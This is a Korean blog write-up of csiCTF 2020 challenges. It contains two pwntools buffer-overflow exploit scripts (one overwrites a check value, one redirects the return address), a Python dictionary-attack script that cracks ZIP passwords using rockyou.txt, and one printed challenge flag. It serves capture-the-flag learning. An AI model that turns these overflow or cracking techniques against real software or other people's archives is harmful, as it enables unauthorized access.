CTF

csiCTF Writeup

c0wb3ll ㅣ 2020. 7. 22. 14:35

CSICTF Writeup

PWN

포너블은 대회가 끝나니 nc서버라든지 따로 기록해둔것이 없어 플래그를 뽑아내지는 못했다 ㅠㅠ... 대신 남아있는 파일을 이용하여 롸업을 작성한다. 익스코드에 대해서는 프로세스만 리모트로 바꾸어 때려주면 다 정상적으로 플래그를 뽑아주었었다.

pwn-intended-0x1

첫번째 문제라 일단 긴 문자열을 때려넣었더니 풀렸다.

pwn-intended-0x2

pwn-intended-0x2 파일을 까보았다.

대충 보면 [rbp-0x30] 에서 입력을 받기 시작하고 [rbp-0x4]에서 0xcafebabe라는 값과 비교를 하여 맞으면 시스템 함수를 호출하는 구조인 것 같다.

아래는 exploit.py이다.

from pwn import *

p = process('pwn-intended-0x2')
p.recvline()

stackcookie = 0xcafebabe

exploit = 'A'*44
exploit += p32(stackcookie)

print(exploit)

p.sendline(exploit)
p.interactive()

pwn-intended-0x3

pwn-intended-0x3에 사용된 함수 목록이다. main과 flag가 눈에 들어온다.

main함수 부분을 보자

[rbp-0x20] 부분부터 버퍼가 시작되는 것을 알 수 있다.

대략 예상 스택 생김새는 아래와 같을 것이다.

buf[0x20byte] + SFP[0x8byte] + RET[0x6byte]

그럼 익스 코드 모양은 이렇겠지...?

dummy[0x20byte] + dummy[0x8byte] + FlagAddr[RET]

아래는 익스코드

from pwn import *


p = process('./pwn-intended-0x3')
p.recvline()

flagaddr = 0x4011ce


exploit = 'A'*40
exploit += p64(flagaddr)

print(exploit)

p.sendline(exploit)
p.interactive()


Digital Forensic

sky.jpg

아름다운 사진이다. 하지만 우리는 컴퓨터를 공부하는 사람이므로 사진말고 데이터를 보자.... 헥스에디터로 열어보았다.

ctf를 문자열로 검색을 했더니 flag가 나왔다.

flag : csictf{j0ker_w4snt_happy}

arched.png

음 아크 리눅스사진이다. steghide라는 툴을 쓸건데 왜 썻냐고는 묻지 말아주세요 ㅠㅠ 문제에 what is he hiding이라는 글귀가 있어서 게싱한겁니다...ㅎ;

flag.zip파일을 주었다.

근데 압축을 해제하려니 비밀번호가 걸려있다.

이럴 경우 파일 설명란이나 헥스에디터 값에 비밀번호나 비밀번호 힌트가 삽입되어 있는 경우가 많다.

아니나 다를까 이상한 문자열이 있다. We will, We will, ROCKYOU! 라는 문자열이 삽입되어 있다.

이 문자열이 힌트인데 Brute Force라고도 불리는 무작위 대입 공격을 실행할 때 rockyou.txt라는 딕셔너리 파일을 이용한 사전 대입 공격을 할 수 있다. 칼리를 쓰는 나로써는 매우 편할수 없었다. rockyou.txt는 칼리에서 /usr/share/wordlists/ 위치에 디렉토리로 가면 rockyou.txt.gz 파일이 있는데 압축 해제만 해주면 rockyou.txt 딕셔너리 파일을 제공해준다. 이 파일을 이용해 사전 대입 공격을 실행해주면 된다.

아래는 구글링하고 참고하여 짠 사전 대입 공격을 해주는 파이썬 코드이다.

import zipfile
import zlib

zipf = str(input('input unzip file : '))
dictionary = str(input('input dictionary file : '))

with zipfile.ZipFile(zipf,'r') as archive:
    first = archive.infolist()[0]
    print("-----reading-----", first.filename)
    with open(dictionary) as dic:
        for line in dic:
            word = line.strip().encode('ASCII')
            print('Trying word : ' , word.decode())
            try:
                with archive.open(first, 'r', pwd=word) as member:
                    text = member.read()
                print('password :' ,word)
                break
            except (RuntimeError, zlib.error, zipfile.BadZipFile):
                pass

위 코드를 이용하여 다음과 같이 패스워드를 찾을 수 있었다.

이 비밀번호를 이용하여 압축을 해제하면 다음과 같이 meme.jpg라는 플래그를 포함한 사진을 준다.